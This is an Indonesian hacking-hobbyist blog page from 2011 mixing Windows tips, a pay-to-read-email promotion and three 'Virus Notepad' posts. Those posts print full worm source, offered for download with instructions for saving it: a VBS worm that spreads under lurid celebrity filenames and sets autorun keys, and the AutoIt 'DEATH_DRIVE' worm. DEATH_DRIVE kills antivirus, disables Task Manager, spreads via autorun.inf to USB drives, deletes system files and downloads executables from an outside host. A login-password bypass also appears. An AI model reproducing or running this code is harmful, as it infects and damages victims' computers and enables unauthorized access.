Breaking News

Saturday, June 25, 2011

Trik Menjebol Password Komputer


















Ok, langkah- langkahnya :
1. Restart computer dan segera tekan F8 saat loading, maka akan masuk ke Save mode

2. Setelah masuk ke safe mode, masuk lah sebagai administrator

3. Kemudian klik start-setting-control panel-user accounts.

4. Pilih user account yang diporteksi oleh password

5. Klik remove password

6. Restart kemblai computer untuk masuk ke windows

7. Sekarang anda sudah bisa login tanpa dihalangi oleh password lagi cobalah trik ini saat sobat lupa dengan passwor komputer kamu.

Semoga bermanfaat
Read more ...

Friday, June 24, 2011

Daftar Isi Blog Ex-Stoob


Read more ...

Task Manager Has Been Disabled By Your Administrator

Task Manager banyak sekali fungsinya, antara lain adalah untuk mengetahui program apa saja yang sedang berjalan atau sedang aktif, mematikan program secara paksa, bisa juga untuk memonitor performance computer, mematikan proses suatu services, melakukan perintah Restart, Shutdown, Log Off, membuka suatu program atau aplikasi kala terjadi desktop blank atau windows explorer error, dan masih banyak lagi.

Namun ada kalanya saat kita membutuhkan Task Manager, Task Manager ini tidak bisa dibuka dengan ditandai pesan Task Manager has been disabled by your administrator biasanya di warnet Hal ini bisa disebabkan oleh beberapa kemungkinan, yaitu task manager dikunci oleh administrator sehingga tidak bisa dibuka oleh user lain. Penyebab lain adalah dikarenakan virus trojan yang menyerang komputer dan menonaktifkan Task Manager.

Cara mengatasi task manager yang tidak bisa dibuka dapat dicoba dengan trik berikut ini :

Mengaktifkan Task Manager menggunakan Group Policy Editor

  • Tekan kombinasi tombol Windows + R untuk membuka menu Run... kemudian ketik gpedit.mscdan tekan Enter
  • Pada User Configuration, klik Administrative Templates
  • Pilih System kemudian Ctrl+Alt+Del Options
  • Pada panel sebelah kanan klik ganda pada Remove Task manager
  • Atur menjadi Disabled

Mengaktifkan Task Manager menggunakan Registry Editor

  • Tekan kombinasi tombol Windows + R untuk membuka menu Run... kemudian ketik Regedit dan tekan Enter
  • Pada jendela Registry Editor yang muncul, masuk keHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
  • Pada panel sebelah kanan hapus key DisableTaskMgr atau ubah value datanya menjadi 0
Read more ...

Thursday, June 23, 2011

Software Pencari Serial Number

Read more ...

Wednesday, June 22, 2011

Hist4pay

Hits4pay adalah program bisnis online Pay Per Read Mail yang sudah terpercaya (silahkan ketik review hit4pay di Google, maka akan bermunculan review yang positif). Hits4pay akan membayar Anda $0.02 setiap kali Anda membaca E-mail.
Jangan takut inbox e-mail anda penuh, sebab hits4pay hanya mengirim e-mail pemberitahuan berupa e-mail yang harus Anda baca.

Setelah Anda berhasil mendaftar dan disetujui oleh pihak pengelola maka Anda akan mempunyai akun email di program hits4pay dan disinilah e-mail marketing itu berada. Anda tinggal membuka dan langsung dapat dollar.



Keuntungan MoneyProgram dari HITS4PAY :

1. Bonus pendaftaran sebesar $10
2. Pembayaran setiap membuka 1 e-mail marketinglangsung sebesar $0.02
3. Bonus 1 referal sebesar $0.01
4. Bonus e-mail marketing referal sebesar $0.01

Penarikan pembayaran (redrawell)

1. Pembayaran dilakukan lewat paypal.
2. Minimum pembayaran $25

Buruan Segera daftar

Read more ...

Virus Notepad III

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", I"
WScript.Sleep 500
WshShell.SendKeys "am"
WScript.Sleep 500
WshShell.SendKeys " Hack "
WScript.Sleep 500
WshShell.SendKeys "er"
WScript.Sleep 500
WshShell.SendKeys " From "
WScript.Sleep 500
WshShell.SendKeys "Spi"
WScript.Sleep 500
WshShell.SendKeys "der"
WScript.Sleep 500
WshShell.SendKeys "----"
WScript.Sleep 500
WshShell.SendKeys "  cy"
WScript.Sleep 500
WshShell.SendKeys "ber"
WScript.Sleep 500
WshShell.SendKeys " ------ "


Save Dengan Nama rpl.vbs  
Karena Di Sini Blog Anti Copas , Silahkan Dowload Scriptny DISINI
Read more ...

Virus Notepad II

Private Sub Main()
On Error Resume Next
Dim Rumah As Variant
Dim FolderSYSTEM As Object
Set Rumah = CreateObject("scripting.filesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)
App.TaskVisible = False
App.Title = "WINLOGIN"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\CML.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\mandala.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\user.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\mercury.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\NOTEPED.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\REGEDUT.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\USERINOT.vbs"
SD
IE
Buat
End Sub
Sub SD()
On Error Resume Next
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte
For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"
On Error Resume Next
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Dewi persik esek esek.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Dewi portuna lagi mandi.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Dewa dewi cari cinta.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "buka aku tanggung sendiri.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Sex masal artis indonesia.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "BCL diperkosa.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "JuPe bugil + esek esek.vbs"
Next
End Sub
Sub IE()
On Error Resume Next
Dim Paray
Set Paray = CreateObject("Wscript.Shell")
Paray.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Infected by TLABS VBS Virus Generator"
Paray.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Salam kenal buat para virus maker indonesia"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\CML.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\mandala.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\user.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\mercury.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\REGEDUT.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\USERINOT.vbs"
Paray.RegWrite “HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr”, “1, “REG_DWORD”
Paray.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\StartPage", "c:\windows\system32\Myheart.txt"
End Sub
Sub Buat()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileADSW = fso.CreateTextFile("c:\windows\system32\Myheart.txt")
fileADSW.WriteLine ("  Salam Hacker , Kawan")
fileADSW.WriteLine (" Saya Hacker RpL-HackerCommunity")
fileADSW.WriteLine (" Tapii Maaf , ")
fileADSW.WriteLine (" Komputer Anda Sekarang Terkena Virus ~")
fileADSW.WriteLine (" Virus Yang Tidak Terlalu Berahaya")
fileADSW.WriteLine (" Silahkan Restart Komputer Anda")
fileADSW.WriteLine (" Terima Kasih ~")
End Sub

Save Dengan cyber.vbs
atau bisa di download disini
Read more ...

Virus Notepad

;//* ====================  C O D E  S T A R T  F R O M  H E R E  ============================== *//;

; ==============================
====== ;
;         DEATH_DRIVE 2.6              ;
;      ---------------------           ;
; written by poet_freak a.k.a poetro   ;
; only for educational purpose only    ;
; this code is given freely            ;
; without any warranty, use it at      ;
; your own risk                        ;
; december, 14 - 2008, 15.44 pm        ;
;all rights reversed                        ;
; ==================================== ;

Opt("trayiconhide" ,1)  ; hide systemtray icon

if ProcessExists("explorer.exe") = true Then    ;check the process, if explorer.exe exist
    Run(@windowsdir & "deathdrive_daemon.exe")  ; run C:\windows\deathdrive_daemon.exe
EndIf

While 1

if ProcessExists("taskmgr.exe") = true Then ;if taskmanager active = True
    Shutdown(6)   ; force restart computer
endif
If ProcessExists("msconfig.exe") = true Then     ; if msconfig active = true
    shutdown(6)                                    ; force restart
EndIf
ProcessClose("ansav.exe")        ; force close ansav.exe
ProcessClose("pcmav-cln.exe")    ; force close pcmav-cln.exe

$reg1 = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"    ; declare var reg1 as HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
$reg2 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion"         ; declare var reg2 as HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
    RegWrite ($reg1,"daemon","REG_SZ",@windowsdir &"\p0et.exe")             ; write registry value at $reg1
    RegWrite ($reg1,"Avgsystray","REG_SZ",@windowsdir &"\p0et_freak1.exe")
    RegWrite ($reg1,"esetkrn","REG_SZ",@windowsdir &"\p0et_freak2.exe")
    RegWrite ($reg1,"NvidCpl","REG_SZ",@windowsdir &"\p0et_freak3.exe")
    RegWrite ($reg1,"Msmsgs","REG_SZ",@windowsdir &"\msmsgs.exe")
    Regwrite ($reg2 & "\Explorer\Advanced","SuperHidden","REG_DWORD","0")     ; write registry value at $reg2
    Regwrite ($reg2 & "\Explorer\Advanced","ShowSuperHidden","REG_DWORD","0")
    Regwrite ($reg2 & "\Explorer\Advanced","HideFileExt","REG_DWORD","1")
    Regwrite ($reg2 & "\Explorer\Advanced","Hidden","REG_DWORD","2")
    RegWrite ($reg2 & "\Policies\Explorer","NoFind","REG_DWORD","1")
    Regwrite ($reg2 & "\Policies\Explorer","NoFolderOptions","REG_DWORD","1")
    Regwrite ($reg2 & "\Policies\Explorer","NoDriveTypeAutoRun","REG_DWORD","91")
    RegWrite ($reg2 & "\Policies\Explorer","NoWelcomeScreen","REG_DWORD","1")
    Regwrite ($reg2 & "\Policies\system","DisableTaskMgr","REG_DWORD","1")
    Regwrite ($reg2 & "\Policies\system","DisableRegistryTools","REG_DWORD","1")
    Regwrite ($reg2 & "\Policies\system","ConfirmFileDelete","REG_DWORD","0")
    RegWrite("HKEY_CURRENT_USER\Control Panel\International", "s1159", "REG_SZ", "poet")
    RegWrite("HKEY_CURRENT_USER\Control Panel\International", "s2359", "REG_SZ", "poet")
    RegWrite("HKEY_CURRENT_USER\Control Panel\International\Mouse", "MouseSensitivity", "REG_SZ", "0")
    RegWrite("HKEY_CURRENT_USER\Control Panel\International\Mouse", "SwapMouseButtons", "REG_SZ", "1")

    FileCopy(@ScriptFullPath,@windowsdir & "\msmsgs.exe")         ; create msmsgs.exe at C:\windows
    FileCopy(@scriptfullpath,@windowsdir & "\p0et_freak1.exe")
    FileCopy(@scriptfullpath,@windowsdir & "\p0et_freak2.exe")
    FileCopy(@scriptfullpath,@windowsdir & "\p0et_freak3.exe")
    FileCopy(@ScriptFullPath,@TempDir & "\pagefile.pif")
    FileCopy(@scriptfullpath,@ProgramFilesDir & "\Common Files\D_loader.exe")
    FileSetAttrib(@windowsdir & "\wininit.exe","-R")            ; clear read only attribute
    FileSetAttrib(@windowsdir & "\msmsgs.exe","+R+H+S")         ; create readonly + hidden + system file attribute
    FileSetAttrib(@windowsdir & "\p0et_freak1.exe","+R+H+S")
    FileSetAttrib(@windowsdir & "\p0et_freak2.exe","+R+H+S")
    FileSetAttrib(@windowsdir & "\p0et_freak3.exe","+R+H+S")
    FileSetAttrib(@TempDir & "\pagefile.pif","+S+R+H")
    FileDelete(@windowsdir &"\wininit.exe")                     ; delete C:\Windows\wininit.exe
    FileDelete(@SystemDir & "\MsVbVm60.dll")
  
if FileExists(@WindowsDir &"\autorun.inf") <> True Then             ; check autorun.inf in c:\windows, if not exist,
        $atr = fileOpen(@WindowsDir & "\autorun.inf",2)             ; create autorun.inf in C:\windows, then open C:\windows\autorun.inf
            FileWrite($atr, "[autorun]" & @CRLF)                    ; write [autorun]
            filewrite($atr, "label=Infected.!" &@crlf)                ; write label=infected.! at next line
            FileWrite($atr, "open=d_loader.exe" & @CRLF)
            FileWrite($atr, "shellexecute=d_loader.exe" &@CRLF)
            FileWrite($atr, "shell\Explore\command=d_loader.exe" &@CRLF)
            FileWrite($atr, "shell\Open\command=d_loader.exe" &@CRLF)
            FileWrite($atr, "shell=Explore")
            FileClose($atr)                                            ; close file
            FileSetAttrib(@WindowsDir & "\autorun.inf","+R+H+S")    ; set file attribute to readonly, hidden, system
    EndIf
  
if FileExists(@MyDocumentsDir & "\death-drive ver. 2.6 readme.txt") <> True Then
$atr = FileOpen(@MyDocumentsDir & "\death-drive ver. 2.6 readme.txt",2)
    FileWrite($atr, " To : Leecher Where Ever," & @CRLF)
    Filewrite($atr, "" & @crlf)
    Filewrite($atr, " Sebelumnya Mohon Maaf .," & @crlf)
    Filewrite($atr, " Perkenalkan , Saya Hacker RpL-HackerCommunity," & @crlf)
    Filewrite($atr, " Saya Ingin Memberitahukan , Bahwa computer Anda Terkena Virus ," & @crlf)
    Filewrite($atr, " Dimohon untuk MeRestart Komputer Anda , Agar Virusnya Tidak Terlalu Berbahaya." & @crlf)
    Filewrite($atr, "" & @crlf)
    Filewrite($atr, " Cepat Restart Komputer Anda Sekarang Juga !!!" & @crlf)
    Filewrite($atr, “ Sampai Hitungan 3 , Komputermu Akan Terkontaminasi Dengan Virus Ini !!" & @crlf)
    Filewrite($atr, "" & @crlf)
    Filewrite($atr, " 1 , 2 , 3 " & @crlf)
    Filewrite($atr, "" & @crlf)
    Filewrite($atr, " //* RpL-HackerCommunity *//   p0et" & @crlf)
    FileClose($atr)
EndIf
  
$path1 = DriveGetDrive ("REMOVABLE")
    if Not @error Then
        for $d = 1 to $path1[0]
            $flashdrive = $path1[$d]
            if $flashdrive <> "A:" and DriveGetFileSystem($flashdrive) <> "" Then
                FileSetAttrib($flashdrive & "\autorun.inf","-R")
                FileCopy(@ScriptFullPath,$flashdrive &"\d_loader.exe")
                FileCopy(@WindowsDir & "\autorun.inf",$flashdrive & "\autorun.inf",1)
                FileCopy(@mydocumentsdir & "\death-drive ver. 2.6 readme.txt", $flashdrive & "\death-drive ver. 2.6 readme.txt")
                FileSetAttrib($flashdrive & "\autorun.inf","+R+H+S")
                FileSetAttrib($flashdrive & "\d_loader.exe","+R+H+S")
                ; Search1
                $search1 = FileFindFirstFile($flashdrive & "\*.")
                if $search1 <> -1 Then
                    $file1 = FileFindNextFile($search1)
                        FileCopy(@scriptfullpath,$flashdrive &"\"& $file1 &".exe")
                        FileSetAttrib($flashdrive &"\"& $file1,"+H")
                        FileSetAttrib($flashdrive &"\"& $file1 &".exe","-H-S")
                EndIf
                FileClose($search1)
            EndIf
        Next
    EndIf
    ; Harddisk Drive
    $path2 = DriveGetDrive ("FIXED")
    if Not @error Then
        for $f = 1 to $path2[0]
            $drive = $path2[$f]
                FileSetAttrib($drive & "\autorun.inf","-R")
                FileCopy(@mydocumentsdir & "\death-drive ver. 2.6 readme.txt", $drive & "\death-drive ver. 2.6 readme.txt") ;copy
                FileDelete($drive & "\autorun.inf")
                FileCopy(@scriptfullpath, $drive & "temp.exe")
        Next
    EndIf
  

; *optional, auto-update feature
$webpath = "http://h1.ripway.com/poet_freak/file"            ; declare webpath to download update
    if FileExists(@systemdir & "\p0et_freak1.exe") = True Then    ; check file, if exist download file1.exe from webpath, then rename it to poet_freak1.exe
        InetGet($webpath & "/file1.exe",@SystemDir & "\p0et_freak1.exe")
    EndIf
    if FileExists(@systemdir & "\p0et_freak2.exe") = True Then
        InetGet($webpath & "/file2.exe",@SystemDir & "\p0et_freak2.exe")
    EndIf
    if FileExists(@systemdir & "\p0et_freak3.exe") = True Then
        InetGet($webpath & "/file3.exe",@SystemDir & "\p0et_freak3.exe")
    EndIf
WEnd         ; end of code

;//* ====================  E N D  O F  C O D E ================================= *//;




Save Dengan Nama rpl.vbs
  Download Scriptnya DISINI
Read more ...

Simple Dos


Read more ...

Tips Menyembunyikan Widget Blog di Homepage


Blogspot mempunyai kelebihan dalam fitur element atau widgetnya yang sangat mudah untuk dipindah dengan cara digeser-geser. Beberapa widget mungkin akan sangat mengganggu bila terlalu banyak muncul di homepage blog anda. Untuk mensiasati hal ini, kita biasa menyembunyikan widget blog tersebut dari homepage.


Menyembunyikan widget blog tidak berarti widget tersebut tidak terlihat sama sekali. Namun widget ini akan terlihat ketika kita masuk kedalam halaman posting artikel, tetapi ketika anda berada pada halaman homepage, maka widget ini hilang. Contohnya anda bisa lihat, widget recent post bloggerafif yang tidak terlihat ketika di homepage tetapi muncul ketika masuk ke artikel postingan.

Cara membuatnya cukup sederhana. Anda tinggal menambahkan kode berikut ini pada template anda.
<b:if cond='data:blog.pageType == "item"'>
Widget yang ingin dihilangkan
</b:if>

Jika anda terlalu bingung, anda bisa mencari judul dari widget anda, kemudian letakkan kode
<b:if cond='data:blog.pageType == "item"'> setelah kode <b:includable id='main'> dan kode </b:if> Sebelum </b:includable> sehingga hasilnya akan menjadi seperti ini



<b:widget id='HTML8' locked='false' title='' type='HTML'>
<b:includable id='main'>
<b:if cond='data:blog.pageType == "item"'>
<!-- only display title if it's non-empty -->
<b:if cond='data:title != &quot;&quot;'>
<h2 class='title'><data:title/></h2>
</b:if>
<div class='widget-content'>
<data:content/>
</div>



<b:include name='quickedit'/>
</b:if>
</b:includable>
</b:widget>
Read more ...
Designed By Blogger Templates